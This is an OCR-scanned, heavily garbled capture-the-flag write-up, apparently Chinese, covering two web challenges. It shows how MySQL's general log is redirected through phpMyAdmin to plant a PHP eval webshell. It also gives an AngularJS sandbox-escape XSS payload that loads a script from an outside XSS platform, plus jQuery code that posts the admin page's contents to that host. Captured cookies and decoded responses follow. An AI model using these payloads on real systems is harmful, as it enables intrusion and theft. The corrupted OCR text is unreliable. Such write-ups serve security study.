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Alternate address :

Titp://218.245 43820000/ phpmyadmin
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® 218.245.4.98:20000/phpmyadmin/server_sql.php

phpMyAdmin
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+ ) mysql

1‘-7 | performance_schema
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« MySQLRERNERERAZ (BIF7). (EiaesE 0.0000 #. )

set global gemeral log_file = *D:\\phpStudy\\WWIN\dasdasdad. php’

TR @ 512 & A

[4REMER] [ 4855 1 [ 82 PHP {85 ]

+, Error: #1046 No database selected

45 SQL IS ERIIET.

show varisbles like “$gemerall’

+ SEIR
Variable_name Value
general_log ON

general_log file D:AphpStudy\WWw\dasdasdad.php

fERRST UREERER] [ 4542 ] [ 812 PHP 553 1 [ RIF]
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‘  MySQL EEREASRA (BIS47). (ZiF7e2 0.0000 7. )
set global zemeral log = on

[fmiEmEr] [R5 ] [ 812 PHP ({73 ]

Eif)sqlitt)

<?php @eval($_POST['cmd']);?>

EENF| ML #1% N dasdasdas . php

R JE sk getshell
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phpinfo(y X |4

€ O 218.245.4.98:20000/dasdasdad php Bl ¢ Q@F e ¥ A& G =~ 00

|8l #=50E | Hack Scanner | | localhost @ TREZEAME
INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS~ LFI-
‘@l Load URL | http://218.245.4.98:20000/dasdasdad.php| ‘
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'+ Execute

[ Postdata [ Referrer @K OHEX 3B @K %URL 3B @K BASEGH 3B | inscrtstring to replacq | Insert replacing string| [7] Replace All 38 | 3
cmd=phpinfo(); ‘

Post data

MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL Time |d Command Argument 401 Query SHOW WARNINGS 401 Query SHOW
SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 401 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 401 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 401
Query show variables like '%general%’ 401 Query SHOW WARNINGS 401 Query SELECT @@lower_case_table_names 401 Query SHOW INDEXES FROM . 401 Query SHOW SESSION VARIABLES
LIKE 'FOREIGN_KEY_CHECKS" 401 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 401 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS" 401 Query set global
general_log = on 401 Query SHOW WARNINGS 401 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 401 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 401 Query
SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 401 Query select '

Notice: Use of undefined constant cmd - assumed 'emd’ in D:\pl dy\WWW\dasdasdad.php on line 20

php

System Windows NT WIN-ONFLDFQIKMK 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack
1)i586

Build Date Oct 14 2016 10:15:39

Compiler MSVC11 (Visual C++ 2012)

Architecture x86

Configure Command cscript /nologo configure js *~-enable-snapshot- build" ——enable -debug-pack” “--disable-zts" *--disable-

disable-nsapi* *--without-mssql* *~-without-pd ithout-pi3web"® *~-with-pdo-

oci=cA\php-sdkioracle\x86\instantclient_12_\sdk shared" ——wnh oci8-12c=c:\php-sdK\oracle
\Xﬂﬁ\mstanlcllenl 12 I\5dkshared wllh enchant share enable-object-out-dir=../obj/* "--enable-
P e L N
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Payload:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(123)//');}}

H

eval(atob("base64"))if{Tbase6d M, Ludidi

1.1 Rl xssaREUVE H 7 J5 & kit

xss V& itk

http://xsspt.com/aQCIrX?1529652200

fi fgetScrint 77 i%&aAN#IS:



$.getScript('http://xsspt.com/aQCIrX?1529652200");

>>base64 >>
JC5nZXRTY3JpcHQoJI2h@dHA6LY94c3NwdC5jb20vYVFDSXIYPZEIMjk2NTIyMDANKTSK

eval(atob("JIC5nZXRTY3IpcHQoI2h@dHAGLY94c3NWdC5jb20vYVFDSXIYPZEIMjKk2NTIyMDANKTSK")) ;

TER S AN R iPayload w] AT 2% H A 1) 5 & Huhib Fflcookie:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} }

};eval(atob(\'JC5nZXRTY3IpcHQoI2h@dHA6LY94c3NwdC5jb20vYVFDSXIYPZEIMjk2NTIYyMDANKTSK\"));//");}}

2018-06-22 15:41:46

« location : http://127.0.0.1: « HTTP_REFERER : htt
1002/admin/suggest?sug

gest=%7B%7B'a'.constru
ctor.prototype.charAt=[].j

p://127.0.0.1:1002/admi
oin;$eval('x=1%7D%20%

7D%20%7D;eval(atob(%

n/suggest?suggest=%7
5C'JC5NZXRTY3JpcHQo

B%7B&#039;a&#039;.co
nstructor.prototype.charA
t=[].join:$eval(&#039;x=
1%7D%20%7D%20%7
J2h0dHABLYy94c3NwdC5 D;eval(atob(%5C&#039;
jb20vYVFDSXJYPzZE1M] JCONZXRTY3JpcHQoJ2
k2NTlyMDANKTsK%5 hOdHAGBLYy94c3NwdC5hjb
20vYVFDSXJYPzE1Mjk

C");I1);%7D%T7D%0D%0



A

» toplocation : http://127.0.

0.1:1002/admin/suggest?
suggest=%7B%7B'a".con
structor.prototype.charAt
=[].join;$eval('’x=1%7D%
20%7D%20%7D;eval(at
ob(%5C'JCHNZXRTY3Jp
cHQoJ2h0dHABLY94c3N
wdC5jb20vYVFDSXJYP
ZETMjk2NTIyMDANKTs

ZNTIyMDANKTsK%5C&#
039;));//8&#039;);%7D%7
D%0D%0A
HTTP_USER_AGENT :
Mozilla/5.0 (Unknown; Li
nux x86_64) AppleWebK
it/638.1 (KHTML, like Ge
cko) PhantomJS/2.1.1 S
afari/538.1
REMOTE_ADDR : 116.6
2.137.114

K%5C");/");%T7D%7D%0
D%0A

» cookie : sessionid=123

* opener:

location : http://127.0.0.1:1002/admin/suggest?suggest=%7B%7B"'a"'.constructor.prototype.charAt=
[].join;$eval('x=1%7D%20%7D%20%7D;eval(atob(%5C"'IC5nZXRTY3IpcHQoI2h@dHA6LY94c3NwdC5jb20vYVFDSXIYPZEIMjk2NT
IyMDANKTSK%5C'));// ") ; %7D%7D%0OD%0A

urlfifns.

location : http://127.0.0.1:1002/admin/suggest?suggest={{"'a’'.constructor.prototype.charAt=
[].join;$eval('x=1} }
};eval(atob(\'JIC5nZXRTY3IpcHQoI2hOdHA6LY94c3NwdC57b20VYVFDSXIYPZEIMFK2NTIyMDANKTSKN " ));//");}}

A LR B G ik N W http: //127.0.0.1:1002/admin/
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@ xsspt.com/index.php?do=module8act=set&id=1218

BAUmE [F=ie
RREn
01-Get-Admin-Code
[

R RIS & cookie

A

S84 (HEBEZLKNEHE)
« ¥ code
RESH (FRLSHHEERENSE , WSS Huser , NFEIIE : (setuser))
St i

883 ({projectidRINBid, {set. A" BLEEE])

$.ajax({ i
url: "/admin”, A

BEARF @ RE O KA

(T

$.ajax({

url: "/admin",

type: "GET",

dataType: "text",

success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('http://xsspt.com/index.php?do=api&id=aQCIrX', code);

s

error: function(msg) {

}



function xssPost(url, postStr) {

var de;

de = document.body.appendChild(document.createElement('iframe"));
de.src = 'about:blank';

de.height = 1;
de.width = 1;

de.

de.

contentDocument.write('<form method="POST" action="
contentDocument.forms[0].submit();
de.style.display = 'none';

+ url +

><input name="code" value=""' +

® xsspt.com/index.php?do=project&act=setcode&id=25735
XssTEE  EFm

PRI IR & HIxs st O gy, 7 EAE A R b g i AT, BRI A IR cookie AR HR
Bigt

XSS.js

CTF-WEB-simple suggest

s =]

T AIP'F'.... ]
FREARIP

HETE

EHEMmFE

SREFFHIBE S
SRENERS
flag

¥ 01-Get-Admin-Code EH
EEERENSH
code :

02-Get-Flag
BEXE
o

N\

AL

J& FHE ¥ 5 i 4 Apayload:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} }

};eval(atob(\ ' IC5nZXRTY3IpcHQoI2hOdHAGLY94c3NWdC5§b20vYVFDSXIYPZEIMjK2NTIYMDANKTSKN ")) ;// " );}}



FHSE R %], RVArSRECE]E

-the&  2018-06-22 16:30:57 » code : JTBEJTBBJTNDI

URPQ1RZUEUIMjBodG

» HTTP_REFERER :
« HTTP_USER_AGENT :

Siilcode)m it base64ftil:

code:

1sJTNFJTBEJTBBJTND
aHRtbCUyMGxhbmcIMO
QIMjJ6aC1DTiUyMiUzR
SUWRCUwQSUyMCUy
MCUzQ2hlYWQIMOUIM
EQIMEEIMjAIMjAIMjAIM]
AIMONtZXRhJTIwY2hhc
nNIdCUzRCUyMnV0Zi04
JTIYyJTNFJTBEJTBBJTI
wJTIwJTIwJTIwJTNDbW
VOYSUyMGhOdHALZXF 1
axXYIMOQIMjJYLVVBLUN
vbXBhdGIlibGUIMjIIM|Bjb
250ZW50JTNEJTIySUUI
MORIZGdIJTIyJTNFJTB
EJTBBJTIWJTIWJTIwJTI
wJTNDbWVQOYSUYMG5S
hbWUIMOQIMjJ2aWV3c
G9ydCUyMiUyMGNvbn
RibnQIMOQIMjJ3aWR0a
CUzRGRIdmIjZS13aWR
OaCUyQyUyMGluaXRpY
Wwic2ZNhbGUIMOQxJTly
JTNFJTBEJTBBJTIwWJTI
WJTIWJTIwWJTNDISOtJTI
wJUUOJUI4JThBJUU4)
UJGJUIwMyVFNCVCOC
VBQW1IdGEIRTYIQTAIO

MAIDTAI IO LD T 1A

Mozillas5.0 (Unknown; Li
nux x86_64) AppleWebK
it/538.1 (KHTML, like Ge
cko) PhantomJS/2.1.1 S
afari/538.1

REMOTE _ADDR : 116.6
2.137.114

JTNFIURPQ1RZUEUraHRtbCUzZSUwWZCUWYSUzY2h@bWwrbGFuZyUzZCUyMnpoLUNOJTIyJTN1ITBkITBhKys1M2NoZWFkITN1ITBkITBhKy
srKyUzY211dGErY2hhcnN1dCUzZCUyMnV@Zi04JTIyITN1ITBkITBhKysrKyUzY211dGEraHROcC11cXVpdiUzZCUyM1gtVUEtQ29tcGFO
alWJsZSUyMitjb250ZW50ITNkITIySUUIM2R1ZGd1ITIyITN1ITBkITBhKysrKyUzY211dGErbmFtZSUzZCUyMnZpZXdwb330JITIyK2Nvbn



R1bnQ1M2Q1MjJ3aWR@aCUzZGR1dmljZS13aWROaCUyYytpbmlOaWFsLXNjYWx1ITNkMSUyMiUzZSUWZCUwWYSsrKys1M2MhLSOrIWUQIWI4
JThhIWU4JWImIWIwMYyVINCViOCVhYW11dGE1ZTY1YTA1ODc1ZTclYWQlYmUqIWU1IWImITg1IWUSIWEXIWIiKiVINIUSNCViZSVINSUSYy
VhOCVINiU5YyU4MCVINSU40SU4ZCV10SUS5ZCVhMiV1ZiViYyU4YyVINCViYiViYiVINCViZCUSNSVINSUANSViNiVINCViYiU5NiVINSU4
NiU4NSVINSVhZSViOSV10SU4MyVizZColZTUlYmY10DU1ZTk1YTE1YmIqIWU4IWI3ITImIWUS5IT1IhIThmIWU1ITg1IWI2IWULITkwITh1IW
VmIWIjITgxKy@tITN1ITBkITBhKysrKyUzY211dGErbmFtZSUzZCUyMmR1c2NyaXBOaWOuITIyK2NvbnR1bnQ1M2Q1MjI1MjI1IM2UIMGQL
MGErKysrJTNjbWVOYStuYW11JITNkITIyYXVOaGOyITIyK2NvbnR1bnQ1lM2Q1MjI1MjIIM2UIMGQIMGErKysrITNjbGluaytyZWwlM2Q1Mj
JIpY29uIJTIyK2hyZWY1M2Q1MjI1MjI1IM2UIMGQIMGE IMGQIMGErKysrJTNjdG10bGUIM2VTWUMIM2MIMMZOaXRsZSUzZSUWZCUwYSUwZCUw
YSUWZCUWYSsrKys1M2NsaW5rK2hyZWY1M2Q1MjJodHRwcyUzYSUyZiUyZmNkbi5ib290Y3NzLmNvbSUyZmIvb3RzdHIhcCUyZjMuMy433T
ImY3NzITImYmOvdHNOcmFwLmlpbi5jc3MIMjIrcmVsITNkITIyc3R5bGVZzaGV1dCUyMiUzZSUwWZCUWYSsrKys1M2NsaW5rK2hyZWY1M2Q1
M3 35 c3MIMMZpZTEWLXZpZXdwb3J0LWI1Zy13b3IrYXIvdWSkLmNzcyUyMityZWwlM2Q1MjJzdH1sZXNoZWVeITIyITN1ITBkITBhKysrKy
UzY2xpbmsraHl1ZiUzZCUyMmNzcyUyZnNOYXJI0ZXItdGVtcGxhdGUuY3NzITIyK3J1bCUzZCUyMnNOeWx1c2h1ZXQ1MjI1IM2UIMGQIMGEr
Kysr3JTNjc3R5bGUrdH1wzSUzZCUyMnR1eHQ1MmMZ jc3MIMj I1IM2UIMGQIMGErKysrKysrKysrYm9keSs1IN2I1MGQIMGErKysrKysrKysrKy
twYWRkaW5nLXRvcCUzYSs2MHB4JTNiJTBkITBhKysrKysrKysrKysrcGFkZGluZy1ib3ROb201M2ErNDBweCUzYiUwZCUWYSsrKysrKysr
Kys1N2Q1IMGQIMGErKysrKysrKyUzYyUyZnNeeWx1ITN1ITBkITBhITBkITBhKysrKyUzY3NjcmlwdCtzcmM1IM2Q1MjJodHRwcyUzYSUyZi
UyZmNkbi5ib29@Y3NzLmNvbSUyZmFuZ3VsYXIuanM1MmYxLjQuNiUyZmFuZ3VsYXIubWluLmpzITIyITNIITNFITImc2NyaXBOITN1ITBk
JTBhKysrKyUzY3NjcmlwdCtzcmM1M2Q1MjJodHRwcyUzYSUyZiUyZmFwcHMUuYmRpbWcuY29t3TImbGlicyUyZmFuZ3VsYXItcm91dGU1Mm
YXLFMuMTMIMMZhbmd1bGFyLXIvdXR1LmpzITIyITNLIITNFITImc2NyaXBOITN1ITBkITBhKysrKyUzY3NjcmlwdCtzcmM1M2Q1MjJqcyUy
Zm11LWVtdWxhdGlvbiltb2R1cy13YXJuaW5nLmpzITIyJTN1ITNjITImc2NyaXB@ITN1ITBkITBhITBkITBhKys1M2MIMMZoZWFkITN1IT
BkJITBhJITBkITBhKys1M2Nib2R5KyUzZSUWZCUWYSUWZCUWYSsrKys1IM2NuYXYrY2xhc3M1IM2Q1MjIuYXZiYXIrbmF2YmFyLWludmVyc2Ur
bmF2YmFyLWZpeGVKLXRvcCUyMiUzZSUwWZCUwYSsrKysrKyUzY2RpditjbGFzcyUzZCUyMmNvbnRhaW51ciUyMiUzZSUwZCUwYSsrKysrKy
srITNjZG12K2NsYXNzITNkITIybmF2YmFyLWh1YWR1ciUyMiUzZSUwWZCUwYSsrKysrKysrKys1M2NidXROb24rdH1wZSUzZCUyMmI1dHRv
biUyMitjbGFzcyUzZCUyMm5hdmJhcil@b2dnbGUrY29sbGFwc2VkITIyK2RhdGEtdGOnZ2x1ITNkITIyY29sbGFwc2UIMJIrZGFOYS10YX
InZXQ1IM2QIMFI1IMINUYXZiYXIIMjIrYXIpYS11leHBhbmR1ZCUzZCUyMMZhbHN1ITIyK2FyaWEtY29udHIVvbHMIM2Q1MjJuYXZiYXI1MjI1
M2U1MGQIMGErKysrKysrKysrKyslM2NzcGFuK2NsYXNzJTNkITIyc3Itb25seSUyMiUzZVRvZ2dsZStuYXZpZ2F@aWOuJTNjITImc3Bhbi
UzZSUWZCUwYSsrKysrKysrKysrKyUzY3NwYW4rY2xhc3MIM2Q1MjIpY29uLWIhciUyMiUzZSUzYyUyZnNwYW41M2UIMGQIMGErKysrKysr
KysrKys1M2NzcGFuK2NsYXNzJTNkJITIyaWNvbiliYXI1IMjI1IM2UIM2M1MmZzcGFuJTN1ITBkITBhKysrKysrKysrKysrJTNjc3BhbitjbG
FzcyUzZCUyMm1jb24tYmFyJTIyJTN1ITNGITImc3BhbiUzZSUWZCUWYSsrKysrKysrKys1M2M1MmZidXROb241M2UIMGQIMGErKysrKysr
KysrJTNjYStjbGFzcyUzZCUyMm5hdmJhcilicmFuZCUyMitocmVmITNKITIyITImITIyITNIU11DKOFETULOITN]ITImMYSUZZSUWZCUWYS
srKysrKysrJTNjJITImZG12ITN1ITBkITBhKysrKysrKys1M2NkaXYraWQlM2Q1lMjJuYXZiYXI1MjIrY2xhc3M1IM2Q1MjJjb2xsYXBzZStu
YXZiYXItY29sbGFwc2UIMjI1IM2UIMGQIMGErKysrKysrKysrITNjdWwrY2xhc3MIM2Q1MjJuYXYrbmF2YmFyLW5hdiUyMiUzZSUwZCUwYS
srKysrKysrKysrKyUzY2xpK2NsYXNzJTNkITIyYWNOaXZ1JITIyJTNIITNjYStocmVmITNkITIyITIzITIyJTN1SG9tZSUzYyUyZmE1IM2UL
M2M1IMmZsaSUzZSUwWZCUWYSsrKysrKysrKysrKyUzY2xpJTN1JTNjYStocmVmITNKITIyITIZzITIyIJTNIIWU2ITk3IWELIWULIWImITK3IT
NjITImYSUzZSUzYyUyZmxpITN1ITBkITBhKysrKysrKysrKysrJTNjbGk1M2UIM2NhK2hyZWY1IM2Q1MjI1IMjMIMGI1IM2UL1ZTglYjQLlYTY1
ZTU10GQ1OTUIM2MIMMZhITN1ITNGITImbGk1M2UIMGQLIMGErKysrKysrKysrKys1M2NsaSUzZSUzY2EraHJ1ZiUzZCUyMmFkbW1luJTImzZm
1sZSUyMiUzZSVINiUSNiU4NyVINCViYiViNiUzYyUyZmE1M2UIM2M1MmZsaSUzZSUWZCUWYSsrKysrKysrKysrKyUzY2xpJTN1ITNjYSto
cmVmITNkITIyYWRtaW41MmZzdWdnZXNOITIyJITNIIWU3ITk1ITk5IWU4AIWEAITgwITNGITImYSUzZSUzYyUyZmxpITN1ITBkITBhKysrKy
srKysrKysrJTNjbGk1M2UIM2NhK2hyZWY1M2Q1MjI1MiMIMII1IM2U1ZTUIOGY10TE1ZTULY§g10DMIM2MIMMZhITNIITNG ITImbGk1IM2U1
MGQIMGErKysrKysrKysrJTNjJTImdWwlM2UIMGQIMGErKysrKysrKyUzYyUyZmRpdiUzZSUwZCUwYSsrKysrKyUzYyUyZmRpdiUzZSUwZC
UwYSsrKys1M2M1MmZuYXY1M2UIMGQIMGE1IMGQIMGE1IMGQIMGE1M2NkaXYrY2xhc3M1M2Q1MjIjb250YW1uZXI1IMjI1IM2UIMGQIMGErKyUz
Y2RpditjbGFzcyUzZCUyMmplbWIvdHIvbiUyMiUzZSUwZCUwYSsrKysrKysrJTNjaDE1M2VIRUxMTythZG1lpbkNsb3VuzCUzYyUyZmgxIT
N1JTBkJITBhKysrKysrKys1M2NwITN1IWU2ITk2IWIwIWU33Tg53Tg4IWU1ITkwITh1IWU1IThmIJWIwMidwISUzYyUyZnAIM2UIMGQIMGEr
KyUzYyUyZmRpdiUzZSUwZCUwYSUzYyUyZmRpdiUzZSUwZCUwYSUwZCUwYSUWZCUwYSsrKys1M2MhLSOrQmovdHNOcmFwK2NvcmUrSmF2YV
NjcmlwdCUwZCUwYSUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUz
ZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZC
UzZCstLSUzZSUwZCUwYSUzYYEtLStQbGFjZWQrYXQrdGhlK2VuzZCtvZit@aGUrZG9jdWllbnQrc28rdGhlK3BhZ2VzK2xvYWQrZmFzdGVy
Ky@tJTN1JITBkITBhITNjc2NyaXBOK3NyYyUzZCUyMmh@dHBzITNhITImITImY2RuLmIvb3Rjc3MuY29tITImanF1ZX353TImMS4xMi403T
JmanF1ZXJ5Lmlpbi5qcyUyMiUzZSUzYyUyZnNjcmlwdCUzZSUwZCUwYSUzY3NjcmlwdCtzcmM1M2Q1MjJodHRwcyUzYSUyZiUyZmNkbi5i
b290Y3NzLmNvbSUyZmIvb3RzdHIhcCUyZjMuMy43ITImanM1MmZib290c3RyYXAubWluLlmpzITIyJTN1JITNjITImc2NyaXBOITN1JITBkIT
BhJTNjISOtKO1FMTArdmlld3BvcnQraGFjaytmb3IrU3VyZmFjZSUyZmR1c2tOb3ArvV21uzZG93cys4K2J1ZystLSUzZSUwZCUwYSUzZY3N]
cmlwdCtzcmM1M2Q1MjJqcyUyZml1MTAtdml1d3BvcnQtYnVnLXdvemthcm91bmQuanM1MjI1M2UIM2M1MmZzY3JpcHQ1M2UIMGQ1MGE1MG
QIMGEIM2M1MmZib2R53ITN1JITBkITBhITNjITImaHRtbCUzZSUWZCUwYSUWZCUwYQ==

{fR{E7Eadmin . txt
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> cat admin.txt |base64 -d

cat admin.txt |base64
{DOCTYPE%20htm1%3ES %0 Chead!
D % 20contents3|

(22author

Fedn . boote

0 script%20sr
Fah ular-rout

d

%22%20aria-exp %22false%22%20 e 0 ML 20%208 %020%204I0% 6%
26

N

HUGH AT Ur LAY

\

I ® www.convertstring.com/zh CN/EncodeDecode/UrlDecode

FERURLEERSEE  TEAURLIERSEE

.. R /\
FIGRAEEX B urfiZE LS X et ﬂ 52D
RFC 3986
%0D%0A%3CIDOCTYPE%20ntmI%3E%0D%0A%3ChtmI%20lang%3D%22zh- W3C HTMLSEEAm A

CN%22%3E%0D%0A%20%20%3Chead%3E%0D%0A%20%20%20%20%3Cmeta%20charset%



3D%22utf-8%22%3E%0D%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22X-UA-
Compatible%22%20content%3D%22|E%3Dedge %22 %3E %0D%0A%20%20%20%20%3Cmeta
%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-
scale%3D1%22%3E%0D%0A%20%20%20%20%3C!--

%20%E4%B8%8A%E8%BF %B03%E4%B8%AAMeta%ES%A0%87 %E7 %ADY%BE “%ES%BF %85
%E9%A1%BB*%E6%94%BE%ES%9C%AB%EB%IC%B0%ES%89%8D%E%ID%A2%EF%BC
%8CHE4%BB%BBY%E4%BD%95%E5%85%B6%E4%BB%96%ES%86%85%E5%AE%BI%ES%
83%BD*%E5%BF %85%E9%A1%BB*%E8%B7 %9IF %E%IA%8F %ES5%85%B6%E5%20%8E%E
F%BC%81%20--

%3E%0D%0A%20%20%20%20%3Cmeta%20name%3D %22description%22%20content%3D %2
2%22%3E%0D%0A%20%20%20%20%3Cmeta%20name%3D%22author%22%20content%3D%
22%22%3E%0D%0A%20%20%20%20%3Clink%20rel%3D%22icon%22%20href%3D%22%22%

PO |
SHISHMLLTEX BAEIBENE

<IDOCTYPE html> =
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<l BR3P metafrE WR T RETE , (HTEMARER W REES | -
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="">

<title>SYC</title>

fifpnt 2t AR fEadmiin . html

<IDOCTYPE html>
<html lang="zh-CN">
<head>

<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<I-- BR3P metatr AU AL B AT I, AT HAR A B L ATERBE LS L -->
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="">

<title>SYC</title>

#H34%E LIS TACKOVERFLOW

Decode URL in Json using TypeScript

the API from BE returns a Json string and |
parse that collection to Products[] which... [ +]
Launch center pro, skype and the clipboard

| am trying to create an action in Launch
Center Pro. It should launch Skype, and... [ +]
Decoding multiple JSON requests for one
struct

| would like to decode two JSON urls that have
different fields for the same item... [ + ]

Can't retrieve data after url is encoded

This question may seems like duplicate of
other's question. Yeah, I've researched but
couldn't find my... [ +]

redirect modifies {REQUEST_URI} so that php
does not get uridecoded information

| have a .htaccess file to redirect http requests
to https. When a link that includes... [ +]

<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">

<link href="css/iel@-viewport-bug-workaround.css" rel="stylesheet">
<link href="css/starter-template.css" rel="stylesheet">
<style type="text/css">
body {
padding-top: 60px;
padding-bottom: 4@px;
}
</style>

<script src="https://cdn.bootcss.com/angular.js/1.4.6/angular.min.js

"></script>

<script src="https://apps.bdimg.com/libs/angular-route/1.3.13/angular-route.js"></script>

<script src="js/ie-emulation-modes-warning.js"></script>



</head>

<body >

<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed” data-toggle="collapse" data-
target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/">SYC ADMIN</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="#">Home</a></1i>
<li><a href="#">H#&E</a></1i>
<li><a href="#">lKH</a></1i>
<li><a href="admin/file">3ff</a></1i>
<li><a href="admin/suggest">®F</a></1i>
<li><a href="#">kfi</a></1i>
</ul>
</div>
</div>
</nav>

<div class="container">
<div class="jumbotron">
<h1>HELLO adminClound</h1>
<p>HEE2.01</p>

</div>
</div>
<!-- Bootstrap core JavaScript
—====================—==—=—=—=—=—=—=—=—=—=—=—=—=—=—=—=—==—========== --)
<!-- Placed at the end of the document so the pages load faster -->

<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>

<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->

<script src="js/iel@-viewport-bug-workaround.js"></script>

</body>
</html>

@ file:///C:/Users/CTF/Desktop/SCTF-fZ&adminClound%20(1).html 7r ,__P..’ -y




HELLO adminClound

HihRfa52.0!

R R KS: adminClound

1.3 Flfljs apifE, HI|ICHF54

f£E— IR E TTEA A

min-test.js

, X HEEE T admintE R C At

view/admintest2313.html

y FERXAMERR ORI — AN S R

25 | {script type="text/javascript™>

26 angular.module(’ ngRouteExample’, [ ngRoute ,])

27 .controller  HomeController’, function ($scope, ute) { $scope. $route = $route;})
28 .controller (" AboutController’, function ( ., $route) { $scope.Proute = $route:})
29 . controller ("MemoController”, ["$sc tp”, function ($scope, $hitp) {

30 $scope. method="GET"

31 $scope. wrl="/api/memos/ adnintest2313”

32 $http ({method: $scope. method, url: $scope. url})

3 . then (function(res) {

3 $scope. memos=res, data

Request Response
JRaw l Params I Headers I Hex ] _[ Raw ] Headers I Hex ]

GET /api/memos/admintest2313 HTTP/1.1 HTTP/1.1 200 OK

Host: 116.62.137.114:4879 X-Powered-By: Express

Cache-Control: max-age=0 Content-Type: application/json; charset=utf-8
Upgrade-Insecure-Requests: 1 Content-Length: 62

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ETag: W/"3e-ag+f16jEITrWO/frX1gPaGRL2g"

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Date: Wed, 20 Jun 2018 15:13:53 GMT
Safari/537.36 Connection: close

e




Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,imag
e/apng,*/*q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie:
ssssssionid=5%3AjSIboxluCl_PIKfruwgqsqmyVeNWIrdf7GMMmh90AdIztT
PWyp4edWKGcbSLhLY8BhDSjZFVizAg

If-None-Match: W/"d5c-11eKN9b1bAT6kwWdC9a7 1kev/fs"

Connection: close

[{"memo": " @=RMiE"]L{"memo """ Ea =T M2

B EPERIKS, ik http://116.62.137.114:4879/api/memos/adminClound

15 B S AV 7] 2 B
Request Response
Jw Params IHeaders I Hex ] J!%J Headers THex ]

GET /api/memos/adminClound HTTP/1.1

Host: 116.62.137.114:4879

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,imag
e/apng,*/*,q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie:
ssssssionid=s%3AjSIboxiuCl_PaKfruwqqsqmyVcNWIrdf.7GMMmh90AdIztT
PWyp4edWKGcbSLhLY8hDSjZFVrzAg

If-None-Match: W/"d5c-11eKNSb1bAT6kvWdC9a7 1kcv/fs”

Connection: close

ERAEN G, MIE TR
/admin/file U A1 _FEFEE admin 7T —F

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8
Content-Length: 132

ETag: W/"84-qv78eTa2mG6sbzGAXCMLNErLOpg”
Date: Wed, 20 Jun 2018 15:17:00 GMT
Connection: close

[{"memo":"S24=F3: HGFA&39NssIUIfA23"L{"memo":"HlzE
“1{"memo "I B et E = RIEE" ]

<meta name="viewport" content="width=device-width, initial-scale=1">
<l-- BR3P metabraS AU TR/ S AR, AR HAD N AEHR AR S L -->

<meta name="description" content="">
<meta name="author" content="">


http://116.62.137.114:4879/

<link rel="icon" href="">

<title>SYC</title>

<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
<link href="css/iel@-viewport-bug-workaround.css" rel="stylesheet">
<link href="css/starter-template.css" rel="stylesheet">
<style type="text/css">
body {
padding-top: 60px;
padding-bottom: 40px;
}
</style>

<script src="https://cdn.bootcss.com/angular.js/1.4.6/angular.min.js"></script>
<script src="https://apps.bdimg.com/libs/angular-route/1.3.13/angular-route.js"></script>
<script src="js/ie-emulation-modes-warning.js"></script>

</head>

<body >

<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-
target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
